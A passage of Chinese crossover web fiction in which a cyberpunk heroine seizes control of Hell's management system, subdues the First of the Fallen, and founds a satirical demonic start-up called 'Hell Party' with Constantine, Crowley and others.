她转头看向嘉丽,连珠炮似的问:“你也是第九层的恶魔,你见过地狱之王吗?你和他说过话吗?你觉得他记得我的名字吗?如果我为了看守九层地狱牺牲在这里,你觉得地狱之王会给我什么荣耀吗?”
嘉丽沉默片刻,郑重的说:“对不起…我根本不认识他。”
瑟姆拉愤怒的翻了个白眼,摊手道:“就是这样,打不过,就加入。”
康斯坦丁:……也对。
“好极了,”卡喀亚笑逐颜开,握住瑟姆拉的手,宣布,“你也欠我十亿美元。”
11.011
瑟姆拉没来得及阻止,卡喀亚已经说出了之前手机留言里的台词。
她又消失了。
嘉丽和康斯坦丁如临大敌。
不等瑟姆拉开口说话,嘉丽使用了意识操纵,一股无形的力量攥着瑟姆拉的喉咙,将她提到半空中。
“你又干了什么?”一而再再而三的被攻击,嘉丽真的生气了。
“不关我的事,”瑟姆拉叫屈,“我的手机诅咒是引导目标说出指定台词,然后自动发动攻击,我什么都没做,她自己把指定台词说出来了!”
康斯坦丁半信半疑:“就是‘欠十亿美元’那句话?”
瑟姆拉疯狂点头,一边用手捂着喉咙,“放我下去!我根本不知道她去哪了!”
随着她的挣扎落败,诡域也自动解除,他们回到了地狱第九层的中枢城。
“康斯坦丁!”初堕者又杀来了。
康斯坦丁震惊,“不了个是吧?你一直在外面等我?”
好像是非常情深义重,但其实——
“是啊,等着取你狗命!”初堕者转眼间杀到。
康斯坦丁后退一步,退至嘉丽和瑟姆拉身后,对两个人提议道:“…救我?”
两个女孩面面相觑。
她们看向在怒火加持下显得无比强大的初堕者。
她们又看向如果没有奇迹发生,显然注定非死不可的康斯坦丁。
“我们素不相识,”瑟姆拉说,“你太冒昧了。”
……
卡喀亚发现自己来到了一个黑暗的空间。
这里什么也没有,没有生物,没有敌人,没有可以打破或攻击的墙壁。
像是被这团混沌彻底包围,她走来走去,什么也没有引发。
‘好像要被关在这里一辈子了…’她自嘲,‘系统,你有办法吗?’
系统跳出一行字:“当前服务器正在繁忙中,请稍后联络。”
卡喀亚太熟悉这行字了,“你居然会断联?”
她掏出枪,对着这无尽的混沌开了一枪,黑暗吸收了所有的力量,形成一点小小的光团。
耳边有人在低语:“不要害怕…不要害怕…”
对于卡喀亚来说,这时没有比“声音”更有安全感的东西了,“有人吗?”
她的头顶上空浮现无数魔法交织的符文条,形成了一个阵法,将她笼罩起来。
豆大的雨点密密麻麻的落下来。
雨点落到她的身上,引起一阵烧焦的烟,将她的皮肤烫伤。
卡喀亚惊愕的发现,这是硫酸雨。
它像雷阵雨一样密集,而显然,她没有任何防御措施,只能活生生的被烫死在这里。
‘完蛋…’
刚刚冒出这样的想法,卡喀亚又感到自己被什么从背后包裹住了。
那声音又响起来,“不要怕…不要怕…帮我……找……”
“我能帮你什么?是你在帮我吧?”卡喀亚喃喃的说,伸出手。
她摸到了羽毛,毛茸茸的羽毛组成的防御,是一对巨大的翅膀包住了她,阻挡了酸雨。
羽毛一层一层,非常厚实。
卡喀亚顺着羽毛慢慢摸,掏过一层又一层,然后她抓住了什么东西,用力拔出来。
一时间,耀眼的金色光芒向四周迸发,刺穿了黑暗和混沌。
这对翅膀突然放开了她,她举着抓到手中的武器,毫不犹豫的破开酸雨,用力劈向混沌。
成功了,黑暗碎成无数块,从她的周身飘走。
前方出现一个巨大的王座,坐落于一棵树荫好像能遮天蔽日的大树脚下,被数百根树根死死缠着。
树上挂着红色的果子。
漫天的羽毛落在王座和树上。
她被救了,虽然不知道对方是谁,但那对翅膀消失前,只留下一声余音:“找……”
卡喀亚落在地上,努力捕捉“救命恩翅”到底要找什么。
同时,系统一上线就开始鬼哭狼嚎,“家人呐,我们差点以为失去你了!”
什么也听不到了。卡喀亚气闷的哼了一声,握紧了手中的“武器”。
地狱里有秘密,也许和路西法的离开有关。
这时,她才注意到手中的“武器”是一把吉他,刚才在攻击的时候,她明明感觉这是一柄长柄斧头。
所以,这武器有两种状态吗?
系统依然在蹦跶:“检测到庞大的数据库,家人,需要我们提供破解和分析吗?”
数据库?王座吗?
卡喀亚走近王座,数百张虚拟屏幕环绕在周围,当她踩上王座时,每张屏幕上开始播放各种不同的PPT、报告和不同主题的条状、线状、柱状的数据走势图。
卡喀亚:……
懂了,王座上的地狱管理者,一款高级社畜。
她抬起手,触碰到其中一张屏幕,一条登入框弹出:请管理者输入姓名和密码。
在地狱里争权的第一件事,是成功破解地狱管理系统的防火墙。
亏卡喀亚之前还以为会弹出什么写着“路西法”名字的地狱契约,然后她要用鲜血抹掉对方的名字,改成自己的。
原来地狱已如此跟上时代发展。
她学过荒坂集团的高级黑客培训课,这种程度的黑客技术,倒不至于求助外界。
卡喀亚把手里的吉他放到王座旁,点开屏幕上的虚拟键盘,开始破解主控程序。
…一段时间后…
‘正在更改使用者权限’
‘原地狱管理者:路西法·晨星’
‘更改为:卡喀亚’
‘新上任地狱管理者重新覆盖所有控制程序’
‘加载中…60%’
‘加载中…85%’
‘进度100%…全部更改完成’
‘旧管理者路西法·晨星的地狱权限已移交新管理者卡喀亚 ’
‘是否向全地狱通知管理者变更消息?’
卡喀亚选了“否”。
“全地狱通知”过于大张旗鼓,如果可以的话,她还是想先苟一波。
‘管理者取消全地狱通知,系统将自动改为邮件提醒’
所以,还是会全服提醒。
不过,“地狱管理权限”都有什么内容?
卡喀亚打开“地狱权限注解版”,细细阅读半晌,然后,她决定把这玩意收起来,留着当睡前读物。
……
康斯坦丁的生命危在旦夕。
自从他破坏了初堕者的契约后,又经常滑不溜秋的逃跑,令后者威严尽失,烦不胜烦。
这回狭路相逢,初堕者的杀意是认真的。
转眼间,他已摁住康斯坦丁,并开启了一个“深渊传送门”,康斯坦丁闻到里面传来硫磺的臭味,听到地狱三头犬的咆哮。
他挣扎着说:“老初,我们再商量一下,我们再做一笔交易怎么样?我刚认识一个很厉害的死孩子,也许你
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对她有兴趣,我可以引荐你们……艹……”
他被初堕者提起来,脸朝下,离深渊传送门越来越近。
一阵警铃声打断了初堕者的动作。
听到铃声,康斯坦丁下意识以为瑟姆拉终于出手了,但转头看去,手机恶魔只是倚着墙,和嘉丽像一对闺蜜一样闲话家常。
——喂!他命在旦夕,她们两居然聊起来了吗!?
——友爱呢!?
警铃声是初堕者自己的,他从口袋里掏出一部手机,看着上面显示的通知,他的嘴角抽搐了一下。
“老初,这是你的手机?你这老不死的居然用手机了?真时尚啊!”
康斯坦丁一边大声恭维,干扰初堕者的思路,一边挣扎着,探头看向手机屏幕。
他想看看初堕者收到了什么消息,以及这消息有没有被自己利用以获取求生之道的价值。
他成功看到半行字:“……地狱新管理者卡喀亚即将接手……”
之前的记忆在他的脑海里回放:
和那个死孩子初遇时,对方是怎么介绍自己的?
“她叫卡喀亚!我认识她!”他快活起来,大声说,“老初,你的脸色好难看啊,需要帮忙吗?”
“脸色难看”不足以形容初堕者此时的表情,他脸色铁青,双手颤抖,几乎将手机捏碎。
“深渊传送门”关闭,他把康斯坦丁重重的扔在地上,“滚!今天先放过你!”
可惜,他忘了康斯坦丁总会得寸进尺,哪怕是刚刚被死敌饶过一命。
“别啊,”康斯坦丁站起来,拍拍身上的灰,拦住他,“有什么苦恼,说出来让大家开心一下?说不定我有解决办法……”
无论初堕者怎么想的,他也没空再呵斥康斯坦丁。
空气中突然开了一扇传送门。
卡喀亚背着吉他从虚空中走出来,向所有人挥挥手,愉快的问:“大家都在呢?收到地狱的通知了吗?”
“死孩子,快看,初堕者要杀我!”康斯坦丁及时告状,“他想杀死你的债务人!”
‘厚颜无耻!’
饶是和康斯坦丁打过这么多次交道,初堕者仍是为对方没有底线的行为咬牙切齿。
但时间紧迫,他狠狠撞开康斯坦丁夺路而逃。
卡喀亚抬了抬手,一条项圈顿时浮现在初堕者的脖子上,一条锁链一端连着项圈,另一端被她抓在手里,她抓紧锁链狠狠一掼,初堕者摔在地上。
“干得好。”康斯坦丁不管来龙去脉,看见死对头遭殃,他直接鼓掌加油。
初堕者在地上挣扎着,卡喀亚将锁链一圈一圈缠在手臂上,直到锁链缩短,拖着初堕者近在眼前。
她勾住初堕者的项圈,强迫着他的脑袋抬起来,笑眯眯的提醒:“我没有让你走。”
“你怎么敢…!”初堕者恨恨地说,“我是初堕者,世上第一个落入地狱的罪人,你真以为你抢了契约权限就能跃过路西法……”
卡喀亚摇了摇手中的锁链,“那么,反抗我呀?”
初堕者气急败坏。
他大喊大叫。
他高声咒骂。
他奋力挣扎。
但他终于没有试图攻击卡喀亚,而是闭上眼睛,认命道:“要杀要剐,随便你。”
他像被驯服的野兽一样,终于老实了。
卡喀亚放松锁链,看向康斯坦丁,疑惑的问:“世上第一个落入地狱的罪人不是路西法吗?”
12.012
阿曼纳迪尔,路西法的亲兄弟,高阶天堂安格斯会议五大大天使中的智慧大天使。
他拥有强大的力量,充满睿智,沉着理性,冷静思考。
漫长的生命中除了让他烦恼的叛逆弟弟路西法之外,没有任何能够让他头疼的事。
不过,他一直开导自己,为路西法头疼是一件很正常的事,毕竟连全知全能的上帝父亲都无法幸免。
有时候,他很怀念上帝父亲带着他和路西法在人间闲逛(划掉)周游的日子。
当时,路西法还很乖巧,上帝也很风趣。
他们看着曾经是泥土的人类满地乱跑,繁衍生息,做出种种不可预测的事。
对,阿曼纳迪尔从那时候就知道,人类的行为会超乎天使们的预料。
换言之,当他接受这个事实后,他便认为,没有人类能够再撼动他的理性。
直到……
他挖出自己的一只眼球,用它作投影仪,回放了诡域里发生的战斗。
“yue…哥们!太恶心了!我正在看心理医生呢!”路西法喊道。
迟了,当阿曼纳迪尔挖出眼球的一刻,正在为路西法话疗的女心理医生目瞪口呆的看着这一幕,然后扑到花瓶旁吐了一地。
她从上周开始为路西法提供服务,路西法付不起昂贵的心理诊疗费,只好用身体当酬劳。
她的业务水平非常不错,不仅启发路西法想开了很多,还愿意耐心的听路西法倾述地狱里发生过的,那些毁三观的破事。
只不过她一直把路西法说的事情当做“典型的妄想症患者的绝望的呢语”。
直到刚才,她还在引导路西法相信“地狱不过是前人编出来,吓唬后人不要做坏事的东西”。
正在她讲的渐入佳境时,阿曼纳迪尔破门而入,完全不考虑人类的感受,当场挖出自己的眼球。
这个举动着实恶心了路西法,又顺便给心理医生留下创伤,但是他自己好像解气了许多。
浅银色的光芒从眼球中洒落出来,不断变化的光芒犹如播放一部小电影,镜头先是还原出诡域里的小屋。
阿曼纳迪尔一手抓着自己的眼球,另一只手挥了挥,心理诊所的窗帘全部被拉上,灯光也关闭,于是从眼球透出的光影中的一幕更加清晰。
镜头进入了小屋的客厅,金发女孩坐在地板上,茶几上放着一排被当做武器的工具。
从壁炉里呼啸着袭击而来的地狱小牙仙,被她揉在抹布里拧成一团……
她打死了坦克和烟鬼,摧毁了血腥玛丽的现身途径……
“挺刺激的,”路西法评价道,“但不及米迦勒。”
阿曼纳迪尔露出一言难尽的神情,看着他。
“怎么了?”路西法丝毫不觉得自己的话有什么不对。
“你不觉得‘用米迦勒的战斗力对标’这种行为,本身就是在给她贴金吗?”
俗称:“抬咖”,或者,“登月碰瓷”。
“谁让米迦勒号称天堂战力天花板呢?他应得的。”
“停止你的阴阳怪气。”阿曼纳迪尔说,“值得愤怒的事还在后面。”
女孩步伐轻快的走出小屋,沿着小路走着,看起来非常绿野仙踪。
突然,另一个屋子的窗户后面,一个黄毛男探出头,大声喊着……
“该死,这货怎么会在那?”
路西法一眼认出康斯坦丁,原因无它,这位魔法大师实在是“臭名昭著”。
“一定是初堕者又和他绞到一起了,两个烦人的东西。”
阿曼纳迪尔用仅有的那只眼睛不赞同的睨着他。
“我知道,我知道,”路西法抬起手,“你觉得我应该管一下,但是拜托,这本来就是他们的私人恩怨。”
说话间,“影片”已经播放到嘉丽被拉进井里,吐着泡泡。
路西法皱眉,“这是谁?康斯坦丁的新女友?不像他的口味。”
阿曼纳迪尔惊讶的说:“路西法,她是看守恶魔之一,本该为你驱逐无礼之徒!但是,你看她……”
“呃,没感觉,反正我记不得她,也没抱有过希望。”路西法摊手。
像是回敬他的差劲态度,更惊人的一幕被重放出来:
“……你见过地狱之王吗?你和他说过话吗?你觉得他记得我的名字吗?如果我为了看守第九层死在这里,你觉得地狱之王会给我什么荣耀吗?”看守恶魔大声说。
阿曼纳迪尔震怒:“此乃大不敬之词!”
路西法感到无聊的说:“她说的倒是没错,而且很了解我,我确实不记得她是谁,如果她没了……嗯,没了就没了吧。”
“她是你指定的看守恶魔,无论你的态度怎么样,她都应该不计荣辱,勇敢奉献,这才是一个虔诚的灵魂应该做的!”阿曼纳迪尔义愤填膺的说。
路西法看着他,像是在看一个傻子,“……不是,老兄,你知道她下地狱了吧?还是第九层。如果她真有虔诚的灵魂,又为什么下地狱?来观光嘛?”
阿曼纳迪尔的额角暴起青筋,一跳一跳的。
“你对你的工作和你的员工都很消极。”女心理医生插话并记录道,“这是否表达了你对现实生活的一种逃避?”
可见这位工作人员尽管会无视职业道德,与患者发生脖子以下的关系,但仍然责任感十足,刚在花瓶里吐完,简单漱了漱口,又立刻回来记录患者路西法的心理问题。
恶魔看守投了逆风局之后,金发女孩落入了黑暗的混沌中。
“别告诉我,她也能把这个拆了。”路西法指指点点,“这可是守护地狱王座的绝对领域毁灭之地……”
他的话音未落,巨大的翅膀浮现,提供轻柔而温暖的包裹、完全保护住金发女孩。
“呃,不是吧!”路西法抓起头发,“这又是谁?你不觉得这些陌生且微不足道的角色有些太多了吗?多少给我几个容易想起来的名人吧?比如蝙蝠侠超人之类的!”
在这双绚烂的翅膀褪去保护后,女孩抓着武器劈开了混沌,落在了王座前方,无数的投影屏幕包围在她周围……
阿曼纳迪尔又注意到了让自己生气的事:“你竟然积累了这么多的待审文件吗?”
“怎么说呢,”路西法歪着头细想道,“我大概从——几百年前?第二次世界大战时期?——便不再关心什么文件了,掉进地狱的人类像下饺子一样,到处都是公务。那些纸质文件,我已经烧了很多,但电子文件?我设置了‘快捷删除键’,依然删不过来。”
“啊,这或许是引发你焦虑的原因之一。”女心理医生一本正经的说。
“闭嘴。”阿曼纳迪尔说。
很难分清他到底是在制止凡人插话,还是忍无可忍的想一把掐死怠工百年的亲弟弟。
在最后一段放映中,金发女孩破解系统,用自己的名字覆盖了所有系统上“路西法·晨星”的签名。
阿曼纳迪尔握紧抓着眼球的手,银色的光芒消失了。
房间里陷入黑暗。
在黑暗中,他的声音显得无比威严,带着重音,“路西法,你
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决定怎么办?”
“我…呃,拒绝以晨星之名向她发去贺电?”
“不要再开玩笑了!”
“轻松点,”路西法安抚道,“她抢走了我的管理权限,好吧,她抢走了地狱的管理系统,但这不过类似于她抢走了父亲(上帝)的回收站和垃圾桶,我有什么可紧张的?难道我就活该守着爸爸的垃圾桶过日子吗?”
灯突然亮了。
两位天使看向开灯的人,是女心理医生。
她神情无辜的问:“不好意思打断你们,但我们不能开灯聊吗?而且路西法先生,你的诊疗时间已结束了,还有下一个咨询人在门外等着。你下一次的治疗时间是……”
阿曼纳迪尔“咯吱咯吱”的把眼球装回眼眶,用“双目瞪视”暗示路西法:这事没完。绝对没完。
……
“伟大的华尔街创业电视剧《硅谷》曾经说过,一个初期创业团队需要五种类型的人,你已经凑齐了,看看你的团队成员,他们是多么的……”
“你又是谁啊?”初堕者不耐烦的打断道。
克鲁利斜坐在办公椅上,抬了抬墨镜,“失礼了,我是恶魔公爵克鲁利,受老板卡喀亚的委托,来当你们的创业顾问。”
面对庞大的中枢城市,和刚刚掌握的地狱管理权限,卡喀亚果断掏出名片联系了克鲁利,协助处理这复杂的一切。
克鲁利刚加入就给她提供了一个办公室。
办公室位于中枢城办公楼的最高层,远离地面的蟑螂和硫磺,空气清新,室内种着养眼的绿色植物,落地窗,一张供于开会时解说PPT的大屏幕,一张巨长无比的长方形办公桌和两排黑色皮制的办公椅。
卡喀亚的创业团队成员坐在办公桌两边:
嘉丽,褐发绿眼长发少女,脸上长着雀斑,穿着黑色长裙,能力是意识操纵。
因为没有开会的经验,她局促的抠着办公桌的底部,痛苦的回忆着她的母亲冲着她大喊“你是废物”的嘴脸。
瑟姆拉,黑发褐眼长发少女,穿着白色长裙,脖子和手腕上留着在精神病院里“治疗”时的伤痕。
她喜欢先让别人陷入困境,再提供帮助,以突显自己的重要性,现在,她正幻想着办公室燃起一场大火,在场的每个人都尖叫着需要她的救助。
康斯坦丁,黄发蓝眼短发男人,雅痞气质,穿着蓝色的西装,外面套着米黄色的风衣。
他是个魔法大师,更是个逍遥浪子,不过介于本文无CP,所以完全不用担心他的魔力会影响在座的任何性别的人。
但这里依旧保留了他“哪怕什么不干,也仍能随心所欲的加入任何团队”的魅力,以证明他是康斯坦丁本人。
初堕者,黑发黑眼深色皮肤卷发男人,只穿着一条裤子,气质粗犷,上身健壮,从胸膛到手臂上都纹着各类花样的条形纹身。
他看康斯坦丁非常不顺眼,但见鬼的是,他两以前搞过……也许可以反向证明一下他…颜值不低?
办公桌的前端坐着卡喀亚,创业团队的中心,公司无可指摘的老板,成员们的凝聚核心。
因为在座的每个人都心知肚明:
如果不是这个金发女孩,他们压根不会坐在这里。
卡喀亚的旁边坐着克鲁利,恶魔公爵。
他仍戴着墨镜和耳机,穿着西装,散发着一股亦正亦邪的神秘气质,也唯有他态度笃定的说:“看看他们得天独厚的资质,老板,我们定能干成一番大事!”
除了卡喀亚,其他人各做各的鬼脸。
13.013
在攻破地狱王座时,卡喀亚便将“地狱管理系统”并入脑内的“寰宇巨企系统”。
现在她只需要在脑海里做一番头脑风暴,便能将自己身为管理者的政策推向整个地狱。
她仔细看着寰宇巨企系统提供的版图,认真判断当前状况:
地狱的灵魂们没有消费能力,要赚钱,必须让地狱的商品进入地面。
地面上的版图目前有三个经济繁荣的大城市,每一个大城市里都有历史悠久的家族企业:
哥谭市,大都会,星城市……
为了能在地面进行永久商贸,这些企业都是她的竞争对手。
确定竞争对手和商业发展城市后,她开始斟酌如何安排地狱里的事务:
首先,地狱的条件很糟糕,
说它“是上帝的垃圾桶”,一点也没错,而且这形容简直是客气。
地狱里的土地,要么是冰封万里,要么是熔浆滚滚,要么是盐碱废土,天上时不时就刮起撕裂灵魂的暴风,下着伤害灵魂的酸雨。
总结:“农业发展”在这里已是不可能,除非她想长线作战,耐心种田。
她想吗?
她不想。
即便没有寰宇巨企要求她十五天内赚十亿美元,她也没有耐心守着九层废土苦熬哪怕一年。
她是来赚大钱的,不是来挖野菜的。
卡喀亚快速扫过寰宇系统控制中心里的种种词条,很快发现了对自己有用的管理策略:
“永身雇佣制”
【详细说明:
采取此政策后,巨型企业便能保证其雇员“永远”不会没有工作。永远。
在雇员的生命之烛耗尽之后,他们的灵魂会被重新分配到一些简单的工作。
这样他们能够继续供养自己的家庭,偿还自身的债务。】
这是何等的仁慈!
要知道在赛博世界,人一死便无法参与工作,以至于家庭中身为顶梁柱的家长一死,家庭里的老人和孩子们立刻就会被债务压垮,逼入绝境。
但现在,寰宇巨企解决了这个问题,即使家长们变成死人,他们仍然可以继续工作,照顾老人,抚养孩子!
卡喀亚一边深受感动,一边把“永身雇佣制”安排为“地狱罪魂管理基本政策”。
一旦确定了“永身雇佣制”之后,系统用它仍无比亢奋的声音宣布:
她们可以在地狱里建造“死后再就业中心”了!
顾名思义,就是“死后再就业中心”,在这里,每个灵魂都将得到它应有的工作!
卡喀亚立刻将中枢城市原来的“灵魂调剂大楼”改成了“死后再就业中心”。
系统提醒她,为了维护就业中心安定发展,这里还需要设置一个管理人员。
卡喀亚当然明白,在公司里,她不可能身兼数职,既当老板又当HR又当销售又当会计又当……
累成这个地步的话,她还算什么老板?根本连底层社畜都不如!
身为一个成功的老板,当然应该是手下们为了一点薪水和不值钱的赞扬劳心费力,连连内卷,而自己坐享其成,只负责用大脑去思考怎样向全世界扩张公司的商业版图。
所以,为了公司未来的稳定扩张,她必须选择正确的手下,并学会合理放权。
看着满座上刚攒齐的卧龙凤雏,她斟酌片刻,选择把嘉丽安排成“死后再就业中心”的负责人。
现在,公司的人力资源解决了,死后再就业中心运转起来后,劳动力要多少有多少。
公司的生产基础打牢后,就要考虑销售渠道了。
她和克鲁利第一次见面时,对方就说过,地狱第九层有个电话中心。
在中枢城生活的灵魂可以在电话中心工作,给地面上的人打电话,用花言巧语或狡猾威胁,哄骗他们做死后会下地狱的事。
卡喀亚决定把地狱电话中心改一改。
她很快在寰宇巨企系统里挑选出了合适的改造计划:
“传媒集团”。
【详细说明:
若你能控制别人的思想,你也就控制了他们的行为。
传媒集团擅长扭转任何对己不利的因素,转为有利的优势。
善良与邪恶,全凭我们一家之言。】
很合适。
在这个信息技术越来越发达的时代,没有什么能比“舆论”更快的占领一座城市。
卡喀亚把“传媒集团”的核心定为“人工道德规范”。
【详情:
具体情景规定了到底什么是道德。
若拥有定义情景的能力,伦理道德不过是手中的黏土,随意揉捏。】
在当前的团队里,“传媒集团”最适合的负责人非瑟姆拉莫属。
她可以直接操纵手机,也可以直接操纵电视,让接电话的人、看电视的人强行接收到她传达的讯息。
她也可以直接控制地狱外的世界里的任何一家电视台,强行占用一个频道,将它完全变成公司的“喉舌”。
无论从任何条件来看,她都完美适配管理这个部门,假如她不能入职,卡喀亚会认为这是自己的无能。
安排瑟姆拉成为频道负责人后,卡喀亚犹豫片刻,在《频道手册》上恶搞的写下第一句话:“早安,夜之城。”
她压根不想念赛博世界。
不过,如果以后每一个说这句话的人都要付给她一笔版权费,那还是挺有意思的。
卡喀亚微微一笑,不过她立刻提醒自己,还要安排一个非常重要的部门:
“私营军事”。
如果说荒坂老登教会她的最后一件事,那一定是“权力只在剑锋之上”。
她之所以会下地狱,是因为老登在西海岸引爆了一枚“终极大杀器”,毁灭目标的同时,顺便毁灭了她辛苦打拼的一切。
甚至她不过是个被牵连的小炮灰。
这样都不能吸取教训的话,她也趁早躺平吧,别折腾了。
为了以后不让任何物种——(而且万一路西法改主意要抢回地狱呢?)——威胁到她的公司,她需要一支庞大的私人武装。
这个部门的负责人安排给……
卡喀亚在“康斯坦丁”和“初堕者”之间犹豫了一下,很快否定其中之一:
不对,不能是康斯坦丁。
必须是初堕者。
“初堕者”其实是“世界第一个下地狱的罪人”的缩写。
早在路西法堕天之前,“初堕者”已经在地狱里。
当他刚到地狱时,地狱比现在更荒凉,更寂静,没有任何声音,没有什么光芒,只有无止尽的折磨和酷刑。
他熬过来了,并且吸收了一批又一批掉进地狱罪人的灵魂,
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让自己强大起来。
所以,路西法坠入地狱,宣布自己才是地狱之王,地狱的独一无二的管理者时,初堕者非常不服。
他认为,无论是论“先来后到”,论“势力范围”,还是论“经验履历”,又或是论“对地狱的了解程度”,这“地狱之王”都轮不到路西法来做。
于是,他公然挑战了路西法。
路西法刚刚堕天,满腔激荡的情绪也是无处发泄,干脆把初堕者当成了解气沙包。
他们之间发生了七次大战,每一场大战都打的地狱天翻地覆。
第七次,路西法彻底击败了初堕者,强迫与他定下一张灵魂契约。
“灵魂契约”是宇宙间的终极契约,只遵循法则运转,连路西法自己都无法更改。
从此,初堕者必须听令于契约持有人,无法违背持有者的意志。
在卡喀亚覆盖了路西法在地狱的管理权限后,初堕者的灵魂契约持有者也转到了她手上。
初堕者无法从任何方面背叛她,一旦有丝毫的痕迹,她可以直接从灵魂上捏碎他。
既然她要在地狱里建立一个“军事部门”,开发私人武装,不打算向外界贩卖,只打算在最关键的时刻,有足够的可以展现的军事力量。
那么,比起她与其它员工之间的交情,她和初堕者之间的灵魂契约关系无疑最忠诚,最牢固。
初堕者也许不能接受,但他必须服从。
至于“私营军事部门”里研发什么样的武器…
哪怕寰宇巨企系统目前不能提供给她更多的资源,但地狱里难道还会缺少这样的研发人才?
倒不如问,一整个“曼哈顿计划”的团队都在地狱里了吧。
在解决了“劳动力来源”,“销售渠道”,“私人武装”之后,卡喀亚终于要确定“生产部”了。
当然,这又让她的思路回归到了开头的问题上:
在地狱里,可以生产什么商品?
“……老板,老板?”
卡喀亚下意识的反问:“怎么了?”
克鲁利笑眯眯的说:“我已经让员工们了解了当前的形势,轮到你来敲定公司的未来了。”
卡喀亚仍在缓神,克鲁利贴心的递了个台阶,举例道:“比如,你的公司叫什么名字?商标是什么样的?”
“啊…”卡喀亚恍然,“是的。”
她一直忙着设立部门,忘了确定最重要的公司名称。
总不能叫“寰宇巨企驻地球地狱分公司”吧?这可是她自己的公司!
“名字对于一家公司来说非常关键,”克鲁利认真的说,“它必须是一个可以大喊而出的响亮名字,比如‘Uber’,‘Google’,‘Yahoo’…各位,你们怎么看?”
“难道不是叫‘Cacia(卡喀亚)’公司吗?”瑟姆拉反问。
嘉丽连忙举手,“我也觉得可以。”
初堕者嗤笑道:“什么公司会直接用老板的名字注册?生怕碰了红线之后抓不到她吗?”
“你又确定这是一家非法公司了?”康斯坦丁唱反调。
“你家老板目前为止干过一件符合程序的事吗?”初堕者反唇相讥。
“派对!”卡喀亚突然说,“公司的名字叫‘地狱派对’,公司商标要融合我们每个人的代表物,你们觉得怎么样?”
14.014
克鲁利挥了挥手,会议室的大屏幕上出现一行字:
“第一届地狱派对公司发展大会”
看上去很正式。
但是他没有标题居中。
至于公司Logo,康斯坦丁选的标志物是香烟,嘉丽选的标志物是《圣经》,瑟拉姆选的标志物是向阳花,克鲁斯选的标志物是唱片机,卡喀亚选的标志物是鸭子。
这五样图案混在一起,就是“一只叼着香烟的鸭子坐在花丛里,手捧圣经,听着唱片机”。
克鲁利评价:“这鸭子看着挺嗨的。”
“不如让它踩着《圣经》跳舞,这不是有唱片机吗?”初堕者恶意的说。
“不要这么做吧!”嘉丽大声的说。
所有人的目光集中向她,她脸红了,小声说:“我是觉得,对圣经不尊重可能会激怒顾客。”
虽然没有让鸭子踩圣经,不过克鲁利还是动了动手,让它跳起扭扭舞。
康斯坦丁突然问:“这是不是就意味着……我们都有公司的一部分?”
“你们本来就是公司的一份子。”卡喀亚说。
“盈利呢?”康斯坦丁说,“我的意思是,如果赚了钱,我们五个平分?”
卡喀亚笑了,“可以啊。”
康斯坦丁眼前一亮,“真的?”
“但你们都欠我十亿美元,所以,先还债吧。”
“嘁!”康斯坦丁不屑的别过头,“果然是奸商。”
“你好像特别在意十亿美元,有什么原因吗?”嘉丽忍不住问。
“因为我也欠了债主十亿啊,九天内还不上就要被并入电网。”
本来是十天,但系统提醒,现在已经过了一天了。
“并入电网的意思是……?”
卡喀亚在心中问了问系统,然后回答:“我的灵魂会作为一种虚空发电的能源,永生永世……好厉害,原来还可以这样。”
最后一句是她的自言自语。
听到这话,其它四个都是一惊。
不过,不妨碍卡喀亚依然在自言自语的联想,“原来可以灵魂发电,那么地狱里这么多灵魂……啊,不对,这么多灵魂一起发电又有什么用?总不能组织它们去挖比特币吧?”
九天十亿美元,压力还是挺大的,毕竟无论生产部生产什么,无论生产力再过盛,首要条件都是先把货物卖出去。
生产什么才能卖的最快?
都不可能。
在充满竞争对手的情况下,市场的消费力是分散的,何况是一个新公司,想要挤进饱和市场谈何容易。
哪怕她豁出去带着全地狱的灵魂去当“绝命毒师”,九天都够呛能赚十亿美元。
“死孩子,别发呆了,你有什么打算吗?”康斯坦丁敲了敲桌面。
“这是接下来要讨论的事。”卡喀亚说,“我们现在有传媒集团,有灵魂发电,有生产线,我们应该做什么来盈利?”
一阵沉默。
“都没有想法吗?”卡喀亚有些失望,“你们都不赚钱的吗?”
一阵沉默。
嘉丽小声回答:“我……妈妈在打工,我只是个学生。”
瑟拉姆耸肩,“我养母养父开了一家马场,但我讨厌马。”
康斯坦丁笑了,“我有时候会接一些委托,不过风餐露宿才是常态。这位老兄……”
他拍了拍初堕者的肩膀,换来对方嫌弃的冷哼,“你看他的模样就知道了,活了万年,一件上衣都买不起。”、
一言蔽之,在座的各位都是穷比。
他们生前做过的所有和交易有关的行为,大概就是把到手的钱换成商品,再通过提供体力把钱换到手里,如此循环。
卡喀亚没有受到打击:
穷比么,很正常,赛博世界满地都是。
她娓娓引导:“面对我们现有的资源,你们一点想法都没有吗?”
嘉丽和瑟拉姆对视一眼,后者说:“我们逼着地上的人类交赎金,如果不交,就让灵魂去骚扰他们……”
“那不就是单纯的闹鬼!?”康斯坦丁说,“你们这样会被牧师狠狠消灭,我认真的。”
卡喀亚也摇了摇头。
瑟拉姆泄了气。
卡喀亚安慰道:“慢慢来吧。首先是嘉丽,你去死后再就业中心,用你的意识操纵挑选员工,你先……”
嘉丽一边听一边记,连连点头。
卡喀亚又去嘱咐瑟拉姆和初堕者……
这三个都安排完毕后,康斯坦丁问:“我呢?”
“你对哥谭市很了解吧?介绍一下市场。”卡喀亚说。
康斯坦丁:“你问这个?那我只能直说了,其实我对哥谭一无所知。”
卡喀亚深深吸气。
下地狱到现在,她第一次有些羡慕康斯坦丁他们生活的世界:
身为穷比,居然能理直气壮的说出他们对城市的经济、金融和贸易一无所知,这生存环境也太宽容了吧!
还是要收集更多的信息才行。
想到这里,卡喀亚决定了,“还是要从清洁能源开始做起,我们来做个简单的市场调研。嘉丽,筛选一下,让地狱里凡是生前在哥谭市的灵魂,都并入电网发电吧。”
嘉丽点点头。
……
今天的哥谭市像它过去的无数个阳光普照的白天一样普通。
人们正常的上班上学,而克雷格参加了一场葬礼。
这个躺在棺材里的人不是克雷格的任何亲朋好友,只是他照顾过的一个老人。
他称呼老人为“哈里根先生”。
没有人能说清哈里根先生到底多有钱,只知道他名下曾拥有数家大企业。
当他去世,他的死讯轰动了整个哥谭市。
葬礼上,克雷格看到了许多以他的年纪根本触碰不到的人。
比如科波特先生,克雷格只在电视上偶尔见过那张苍白的脸,又比如韦恩先生,克雷格过去只是在报纸上见过对方的花边新闻。
他很想对来吊唁的人说说哈里根先生的事:
哈里根先生退休后隐居在克雷格家所在的小镇上。
镇上只有两百多户人家,哈里根先生的庄园是镇上最醒目的建筑。
克雷格每天放学后跑到哈里根先生的庄园上,给老人读书。
老人没有雇佣任何仆人,凡事亲力亲为,包括做饭。
